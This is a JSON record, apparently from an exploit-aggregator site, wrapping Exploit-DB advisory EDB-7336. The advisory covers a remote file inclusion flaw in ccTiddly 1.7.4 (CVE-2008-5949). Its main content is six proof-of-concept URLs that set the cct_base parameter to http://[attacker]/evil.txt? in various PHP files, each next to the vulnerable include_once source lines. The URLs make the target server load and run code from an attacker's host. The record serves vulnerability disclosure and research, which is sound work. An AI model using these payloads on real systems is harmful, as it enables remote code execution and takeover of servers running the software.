{"exploit":{"id":"EDB-7336","name":"ccTiddly 1.7.4 - 'cct_base' Remote File Inclusion (RFI)","description":"ccTiddly 1.7.4 - 'cct_base' Remote File Inclusion (RFI)","cves":["CVE-2008-5949"],"author":"cOndemned","published":"2008-12-04","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7336","path":"exploits/php/webapps/7336.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7336.txt","vulnerabilities":[{"id":"CVE-2008-5949","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP remote file inclusion vulnerabilities in ccTiddly 1.7.4 and 1.7.6 allow remote attackers to execute arbitrary PHP code via a URL in the cct_base parameter to (1) index.php; (2) handle/proxy.php; (3) header.php, (4) include.php, and (5) workspace.php in includes/; and (6) plugins/RSS/files/rss.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5949","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5949"},"updatedAt":"2024-08-07T11:13:13.441Z","retrievedAt":"2026-11-26T19:10:10.334Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7336.png?v=2","url":"https://exploitbin.com/exploits/EDB-7336","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7336/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7336/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\n\t$Id: cctiddly-1.7.4-rfi.txt,v 0.1 2008/12/04 04:12:20 cOndemned Exp $\n\n\tccTiddly 1.7.4 (cct_base) Multiple Remote File Inclusion Vulnerabilities\n\tfound by cOndemned\n\n\tdownload from : http://tiddlywiki.org/ccTiddly/ccTiddly_v1.7.4.zip\n\n\tProbably prior versions are vulnerable too...\n\n\tGreetz: ZaBeaTy, str0ke, TBH, Avantura\n\n*/\n\n\n0x01 :\n\tfile :\n\t\t/index.php\n\tpoc :\n\t\thttp://[host]/[cctiddly_path]/index.php?cct_base=http://[attacker]/evil.txt?\n\tsource :\n\n\t\t18.\t//includes\n\t\t19.\tif(!isset($cct_base))\n\t\t20.\t\t$cct_base = \"\";\n\t\t21.\n\t\t22.\tinclude_once($cct_base.\"includes/header.php\");\n\t\t23.\tinclude_once($cct_base.\"includes/login.php\");\n\n0x02 :\n\n\tfile :\n\t\t/handle/proxy.php\n\tpoc :\n\t\thttp://[host]/[cctiddly_path]/handle/proxy.php?cct_base=http://[attacker]/evil.txt?\n\tsource :\n\n\t\t3.\tif(!isset($cct_base))\n\t\t4.\t\t$cct_base= \"../\";\n\t\t5.\tinclude_once($cct_base.\"includes/header.php\");\n\t\t6.\tinclude_once($cct_base.\"includes/config.php\");\n\n0x03 :\n\n\tfile :\n\t\t/includes/header.php\n\tpoc :\n\t\thttp://[host]/[cctiddly_path]/handle/includes/header.php?cct_base=http://[attacker]/evil.txt?\n\tsource :\n\n\t\t5.\tif(!isset($cct_base))\n\t\t6.\t\t$cct_base= \"\";\n\t\t7.\tinclude_once($cct_base.\"includes/functions.php\");\n\t\t8.\tinclude_once($cct_base.\"includes/config.php\");\n\t\t9.\tinclude_once($cct_base.\"includes/pluginLoader.php\");\n\t\t10.\tinclude_once($cct_base.\"lang/\".$tiddlyCfg['pref']['language'].\"/language.php\");\n\t\t11.\t//include is used because language file is included once in config.php file\n\t\t12.\tinclude_once($cct_base.\"includes/tiddler.php\");\n\t\t13.\tinclude_once($cct_base.\"includes/user.php\");\n\n0x04 :\n\n\tfile :\n\t\t/includes/include.php\n\tpoc :\n\t\thttp://[host]/[cctiddly_path]/includes/include.php?cct_base=http://[attacker]/evil.txt?\n\tsource :\n\n\t\t3.\tinclude_once($cct_base.\"includes/ccAssignments.php\");\n\n0x05 :\n\n\tfile :\n\t\t/includes/workspace.php\n\tpoc :\n\t\thttp://[host]/[cctiddly_path]/includes/workspace.php?cct_base=http://[attacker]/evil.txt?\n\tsource :\n\t\t3.\tinclude_once($cct_base.\"includes/header.php\");\n\t\t4.\tinclude_once($cct_base.\"includes/user.php\");\n\t\t5.\tinclude_once($cct_base.\"includes/tiddler.php\");\n\n0x06 :\n\n\tfile :\n\t\t/plugins/RSS/files/rss.php\n\tpoc :\n\t\thttp://[host]/[cctiddly_path]/plugins/RSS/files/rss.php?cct_base=http://[attacker]/evil.txt?\n\tsource :\n\n\t\t3.\tinclude_once($cct_base.\"includes/header.php\");\n\nEoF.\n\n# milw0rm.com [2008-12-04]","sha256":"341253a35b4a5ba1c80a432ec2ae825d92414958342bfae77c0967ca56e49bdc","bytes":2333,"fetchedAt":"2026-11-26T19:10:06.123Z","encoding":"utf-8 (display only; download retains original bytes)"}